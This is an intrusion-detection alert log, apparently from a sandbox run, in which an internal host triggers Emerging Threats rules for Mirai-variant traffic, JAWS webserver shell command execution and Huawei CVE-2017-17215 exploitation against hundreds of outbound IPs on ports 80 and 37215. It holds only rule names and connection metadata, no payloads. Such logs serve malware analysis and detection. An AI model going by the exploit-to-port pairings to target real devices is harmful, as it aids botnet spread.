2024-12-03T23:17:21.663132+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59858	60.87.131.161	80	TCP
2024-12-03T23:17:21.663804+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41508	67.54.13.158	80	TCP
2024-12-03T23:17:21.663804+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41508	67.54.13.158	80	TCP
2024-12-03T23:17:21.669128+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58394	41.199.73.61	37215	TCP
2024-12-03T23:17:21.678268+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42570	72.0.76.141	80	TCP
2024-12-03T23:17:21.678268+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42570	72.0.76.141	80	TCP
2024-12-03T23:17:21.678420+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52874	133.20.108.170	80	TCP
2024-12-03T23:17:21.678420+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52874	133.20.108.170	80	TCP
2024-12-03T23:17:21.684656+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57390	197.16.92.119	37215	TCP
2024-12-03T23:17:21.840977+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35048	156.49.30.178	37215	TCP
2024-12-03T23:17:21.841093+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33254	41.231.149.62	37215	TCP
2024-12-03T23:17:21.850309+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56404	41.205.232.245	37215	TCP
2024-12-03T23:17:21.865794+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44718	41.198.9.219	37215	TCP
2024-12-03T23:17:22.044084+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46244	156.91.63.100	37215	TCP
2024-12-03T23:17:22.044214+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45778	41.47.88.87	37215	TCP
2024-12-03T23:17:22.044287+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57374	41.155.36.98	37215	TCP
2024-12-03T23:17:22.053392+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58226	41.101.112.136	37215	TCP
2024-12-03T23:17:22.053501+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36000	41.18.246.176	37215	TCP
2024-12-03T23:17:22.059823+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58786	156.137.46.135	37215	TCP
2024-12-03T23:17:22.059963+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47222	41.143.113.96	37215	TCP
2024-12-03T23:17:22.069249+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44170	197.142.170.91	37215	TCP
2024-12-03T23:17:22.100290+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40888	41.223.16.73	37215	TCP
2024-12-03T23:17:22.100403+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56528	156.178.217.7	37215	TCP
2024-12-03T23:17:22.100460+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51858	41.63.78.53	37215	TCP
2024-12-03T23:17:22.622622+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39398	197.63.2.176	37215	TCP
2024-12-03T23:17:22.638443+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36564	197.48.241.242	37215	TCP
2024-12-03T23:17:22.669170+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38534	156.126.90.164	37215	TCP
2024-12-03T23:17:22.724907+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51034	198.17.84.198	80	TCP
2024-12-03T23:17:22.724907+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51034	198.17.84.198	80	TCP
2024-12-03T23:17:22.794112+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56144	156.98.238.140	37215	TCP
2024-12-03T23:17:22.851506+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38922	156.230.113.234	37215	TCP
2024-12-03T23:17:22.928424+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56052	199.170.247.174	80	TCP
2024-12-03T23:17:22.928424+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56052	199.170.247.174	80	TCP
2024-12-03T23:17:22.928537+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36600	217.118.126.25	80	TCP
2024-12-03T23:17:22.928537+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36600	217.118.126.25	80	TCP
2024-12-03T23:17:23.022184+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48560	17.83.114.59	80	TCP
2024-12-03T23:17:23.022184+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48560	17.83.114.59	80	TCP
2024-12-03T23:17:23.022465+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49368	200.9.255.243	80	TCP
2024-12-03T23:17:23.022465+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49368	200.9.255.243	80	TCP
2024-12-03T23:17:23.028555+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32840	68.237.69.52	80	TCP
2024-12-03T23:17:23.028555+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32840	68.237.69.52	80	TCP
2024-12-03T23:17:23.044118+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46604	9.54.107.117	80	TCP
2024-12-03T23:17:23.044118+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46604	9.54.107.117	80	TCP
2024-12-03T23:17:23.053626+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40924	167.154.247.80	80	TCP
2024-12-03T23:17:23.053626+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40924	167.154.247.80	80	TCP
2024-12-03T23:17:23.053760+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34398	59.152.245.101	80	TCP
2024-12-03T23:17:23.053760+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34398	59.152.245.101	80	TCP
2024-12-03T23:17:23.100438+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50540	41.2.97.161	37215	TCP
2024-12-03T23:17:23.919431+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59018	102.85.102.45	80	TCP
2024-12-03T23:17:23.919431+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59018	102.85.102.45	80	TCP
2024-12-03T23:17:23.919791+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58110	156.246.128.102	37215	TCP
2024-12-03T23:17:23.928409+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59490	169.107.84.142	80	TCP
2024-12-03T23:17:23.928409+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59490	169.107.84.142	80	TCP
2024-12-03T23:17:23.935330+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47718	175.5.53.45	80	TCP
2024-12-03T23:17:23.935330+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47718	175.5.53.45	80	TCP
2024-12-03T23:17:24.028682+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53476	65.130.71.255	80	TCP
2024-12-03T23:17:24.028682+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53476	65.130.71.255	80	TCP
2024-12-03T23:17:24.044230+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38242	148.17.19.6	80	TCP
2024-12-03T23:17:24.044230+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38242	148.17.19.6	80	TCP
2024-12-03T23:17:24.044412+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56660	192.194.104.127	80	TCP
2024-12-03T23:17:24.044412+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56660	192.194.104.127	80	TCP
2024-12-03T23:17:24.044572+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59544	48.98.171.83	80	TCP
2024-12-03T23:17:24.044572+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59544	48.98.171.83	80	TCP
2024-12-03T23:17:24.044656+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58272	160.179.24.59	80	TCP
2024-12-03T23:17:24.044656+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58272	160.179.24.59	80	TCP
2024-12-03T23:17:24.044772+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56232	149.158.106.161	80	TCP
2024-12-03T23:17:24.044772+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56232	149.158.106.161	80	TCP
2024-12-03T23:17:24.069028+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51370	64.182.14.205	80	TCP
2024-12-03T23:17:24.069028+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51370	64.182.14.205	80	TCP
2024-12-03T23:17:24.069121+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52450	36.77.163.122	80	TCP
2024-12-03T23:17:24.069121+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52450	36.77.163.122	80	TCP
2024-12-03T23:17:24.076041+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37712	114.42.153.147	80	TCP
2024-12-03T23:17:24.076041+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37712	114.42.153.147	80	TCP
2024-12-03T23:17:24.091110+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36996	128.212.90.2	80	TCP
2024-12-03T23:17:24.091110+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36996	128.212.90.2	80	TCP
2024-12-03T23:17:24.091428+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33088	45.106.152.15	80	TCP
2024-12-03T23:17:24.091428+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33088	45.106.152.15	80	TCP
2024-12-03T23:17:24.100365+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57578	90.95.227.69	80	TCP
2024-12-03T23:17:24.100365+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57578	90.95.227.69	80	TCP
2024-12-03T23:17:24.100487+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43542	216.78.163.64	80	TCP
2024-12-03T23:17:24.100487+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43542	216.78.163.64	80	TCP
2024-12-03T23:17:24.100668+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42182	51.244.114.241	80	TCP
2024-12-03T23:17:24.100668+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42182	51.244.114.241	80	TCP
2024-12-03T23:17:24.101025+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54262	87.163.47.216	80	TCP
2024-12-03T23:17:24.101025+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54262	87.163.47.216	80	TCP
2024-12-03T23:17:24.101083+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48104	126.249.41.251	80	TCP
2024-12-03T23:17:24.101083+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48104	126.249.41.251	80	TCP
2024-12-03T23:17:24.809843+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42266	156.3.32.28	37215	TCP
2024-12-03T23:17:24.809899+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33706	41.161.197.254	37215	TCP
2024-12-03T23:17:24.850446+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47702	197.111.248.4	37215	TCP
2024-12-03T23:17:24.850636+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53340	197.195.235.251	37215	TCP
2024-12-03T23:17:25.068971+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38774	87.74.156.248	80	TCP
2024-12-03T23:17:25.068971+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38774	87.74.156.248	80	TCP
2024-12-03T23:17:25.084810+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34014	86.230.71.138	80	TCP
2024-12-03T23:17:25.084810+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34014	86.230.71.138	80	TCP
2024-12-03T23:17:25.091098+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33716	221.237.234.24	80	TCP
2024-12-03T23:17:25.091098+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33716	221.237.234.24	80	TCP
2024-12-03T23:17:25.100478+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59676	164.250.97.58	80	TCP
2024-12-03T23:17:25.100478+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59676	164.250.97.58	80	TCP
2024-12-03T23:17:25.100631+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51252	59.231.219.168	80	TCP
2024-12-03T23:17:25.100631+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51252	59.231.219.168	80	TCP
2024-12-03T23:17:25.100713+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48496	133.105.5.131	80	TCP
2024-12-03T23:17:25.100713+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48496	133.105.5.131	80	TCP
2024-12-03T23:17:25.101016+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54256	180.81.127.249	80	TCP
2024-12-03T23:17:25.101016+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54256	180.81.127.249	80	TCP
2024-12-03T23:17:25.101116+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59926	158.156.176.173	80	TCP
2024-12-03T23:17:25.101116+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59926	158.156.176.173	80	TCP
2024-12-03T23:17:25.903664+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60882	210.148.55.2	80	TCP
2024-12-03T23:17:25.903664+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60882	210.148.55.2	80	TCP
2024-12-03T23:17:25.903668+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41726	93.178.74.38	80	TCP
2024-12-03T23:17:25.903668+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41726	93.178.74.38	80	TCP
2024-12-03T23:17:25.903782+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56004	39.139.178.113	80	TCP
2024-12-03T23:17:25.903782+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56004	39.139.178.113	80	TCP
2024-12-03T23:17:25.919277+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33352	99.236.37.72	80	TCP
2024-12-03T23:17:25.919277+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33352	99.236.37.72	80	TCP
2024-12-03T23:17:25.919520+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38014	47.68.81.71	80	TCP
2024-12-03T23:17:25.919520+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38014	47.68.81.71	80	TCP
2024-12-03T23:17:25.919569+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57088	91.247.3.165	80	TCP
2024-12-03T23:17:25.919569+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57088	91.247.3.165	80	TCP
2024-12-03T23:17:25.919809+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43622	136.115.63.147	80	TCP
2024-12-03T23:17:25.919809+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43622	136.115.63.147	80	TCP
2024-12-03T23:17:25.919896+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34904	150.215.250.199	80	TCP
2024-12-03T23:17:25.919896+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34904	150.215.250.199	80	TCP
2024-12-03T23:17:25.928633+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43100	9.153.33.19	80	TCP
2024-12-03T23:17:25.928633+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43100	9.153.33.19	80	TCP
2024-12-03T23:17:25.928794+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50110	101.86.137.255	80	TCP
2024-12-03T23:17:25.928794+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50110	101.86.137.255	80	TCP
2024-12-03T23:17:25.928963+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33576	103.28.100.236	80	TCP
2024-12-03T23:17:25.928963+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33576	103.28.100.236	80	TCP
2024-12-03T23:17:25.929128+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43260	198.240.8.243	80	TCP
2024-12-03T23:17:25.929128+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43260	198.240.8.243	80	TCP
2024-12-03T23:17:25.934833+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34280	217.254.243.92	80	TCP
2024-12-03T23:17:25.934833+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34280	217.254.243.92	80	TCP
2024-12-03T23:17:25.934950+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48540	181.221.158.4	80	TCP
2024-12-03T23:17:25.934950+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48540	181.221.158.4	80	TCP
2024-12-03T23:17:25.944307+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56244	96.107.155.229	80	TCP
2024-12-03T23:17:25.944307+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56244	96.107.155.229	80	TCP
2024-12-03T23:17:25.959886+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39622	12.160.192.42	80	TCP
2024-12-03T23:17:25.959886+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39622	12.160.192.42	80	TCP
2024-12-03T23:17:25.966131+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51152	78.144.131.215	80	TCP
2024-12-03T23:17:25.966131+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51152	78.144.131.215	80	TCP
2024-12-03T23:17:25.966139+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56790	75.74.72.90	80	TCP
2024-12-03T23:17:25.966139+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56790	75.74.72.90	80	TCP
2024-12-03T23:17:25.966279+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56174	173.220.212.135	80	TCP
2024-12-03T23:17:25.966279+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56174	173.220.212.135	80	TCP
2024-12-03T23:17:25.966397+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42530	47.95.27.22	80	TCP
2024-12-03T23:17:25.966397+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42530	47.95.27.22	80	TCP
2024-12-03T23:17:25.966513+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55662	24.208.155.1	80	TCP
2024-12-03T23:17:25.966513+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55662	24.208.155.1	80	TCP
2024-12-03T23:17:25.966696+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50086	143.78.20.97	80	TCP
2024-12-03T23:17:25.966696+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50086	143.78.20.97	80	TCP
2024-12-03T23:17:25.967022+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44210	156.26.242.193	37215	TCP
2024-12-03T23:17:25.975389+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51300	101.134.192.188	80	TCP
2024-12-03T23:17:25.975389+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51300	101.134.192.188	80	TCP
2024-12-03T23:17:25.975616+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54678	163.53.252.66	80	TCP
2024-12-03T23:17:25.975616+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54678	163.53.252.66	80	TCP
2024-12-03T23:17:25.975837+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42488	89.11.195.129	80	TCP
2024-12-03T23:17:25.975837+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42488	89.11.195.129	80	TCP
2024-12-03T23:17:25.975902+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59774	20.91.194.45	80	TCP
2024-12-03T23:17:25.975902+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59774	20.91.194.45	80	TCP
2024-12-03T23:17:25.976106+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39944	138.13.231.147	80	TCP
2024-12-03T23:17:25.976106+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39944	138.13.231.147	80	TCP
2024-12-03T23:17:25.976312+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34476	190.31.142.247	80	TCP
2024-12-03T23:17:25.976312+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34476	190.31.142.247	80	TCP
2024-12-03T23:17:25.976400+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54584	187.160.114.53	80	TCP
2024-12-03T23:17:25.976400+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54584	187.160.114.53	80	TCP
2024-12-03T23:17:25.976500+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47624	190.9.83.127	80	TCP
2024-12-03T23:17:25.976500+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47624	190.9.83.127	80	TCP
2024-12-03T23:17:25.976572+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33226	122.201.47.17	80	TCP
2024-12-03T23:17:25.976572+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33226	122.201.47.17	80	TCP
2024-12-03T23:17:25.981812+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47284	197.97.198.28	37215	TCP
2024-12-03T23:17:25.991935+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43110	169.52.180.70	80	TCP
2024-12-03T23:17:25.991935+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43110	169.52.180.70	80	TCP
2024-12-03T23:17:25.991940+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45848	64.40.203.207	80	TCP
2024-12-03T23:17:25.991940+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45848	64.40.203.207	80	TCP
2024-12-03T23:17:26.022139+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50168	41.195.59.173	37215	TCP
2024-12-03T23:17:26.022244+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43126	126.43.59.28	80	TCP
2024-12-03T23:17:26.022244+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43126	126.43.59.28	80	TCP
2024-12-03T23:17:26.022316+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37610	121.157.120.232	80	TCP
2024-12-03T23:17:26.022316+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37610	121.157.120.232	80	TCP
2024-12-03T23:17:26.037936+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42790	41.77.221.53	37215	TCP
2024-12-03T23:17:26.146044+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44906	197.157.222.198	37215	TCP
2024-12-03T23:17:27.059922+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59452	41.70.188.247	80	TCP
2024-12-03T23:17:27.059922+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59452	41.70.188.247	80	TCP
2024-12-03T23:17:27.060270+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47844	208.186.15.150	80	TCP
